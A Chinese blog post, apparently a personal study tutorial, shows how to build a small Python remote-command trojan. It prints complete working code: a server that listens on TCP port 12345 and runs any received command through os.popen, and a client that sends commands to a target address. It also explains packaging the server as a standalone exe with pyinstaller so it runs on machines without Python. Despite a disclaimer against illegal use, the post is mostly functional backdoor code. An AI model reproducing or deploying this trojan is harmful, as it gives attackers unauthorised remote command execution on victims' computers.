基于tcp的远程命令执行小木马

仅作为个人学习使用,请勿用于非法用途

文章目录

    • 设计框架
    • 代码实现
    • 打包服务端

设计框架

C/S结构
服务端负责接收tcp报文,并通过python提供的os模块来执行接收到的远程命令。这就是我们写的小木马。
客户端也就是我们要向目标靶机发送报文的一端,负责传输数据到服务端。

代码实现

服务端代码

import os
from socket import *

# 创建连接 tcp
# AF_INET:IPV4; SOCK_STREAM:tcp
client = socket(AF_INET, SOCK_STREAM)

# 绑定主机IP:本地ip, 12345端口
address = ("", 12345)
client.bind(address)

# 监听队列长度
client.listen(5)

while True:
	newSocket, clientSocket = client.accept()
	while True:
		cmd = newSocket.recv(4096)
		# 判断cmd是否有内容
		if len(cmd) > 0:
			print("console:" + cmd.decode('utf-8'))
			# 做控制操作
			# res打开命令行
			res = os.popen(cmd.decode('utf-8'), 'r')
			newSocket.send(res.read().encode('utf-8'))
			# res关闭命令行
			res.close()
		else:
			break
	newSocket.close()

客户端代码

from socket import *

tcpSocket = socket(AF_INET, SOCK_STREAM)
serverAddress = ('192.168.223.138', 12345)
tcpSocket.connect(serverAddress)

while True:
	sendCmd = input("cmd>>")
	if len(sendCmd) > 0:
		tcpSocket.send(sendCmd.encode('utf-8'))
	else:
		break

	# 接受执行后的结果
	recv = tcpSocket.recv(4096)
	print(recv.decode("utf-8"))

tcpSocket.close()

打包服务端

上面这段代码也就实现了很low的功能,还研究了一天。。。

写好代码后有一个问题,目标靶机上没有py解释环境怎么办,那就打包呗。
pyinstaller可以实现把py代码打包成exe程序。
pyinstaller -F filename.py

ok了,把exe放到虚拟机了看看效果,成功!这一天没有白费。

你可能感兴趣的:(网络相关,python)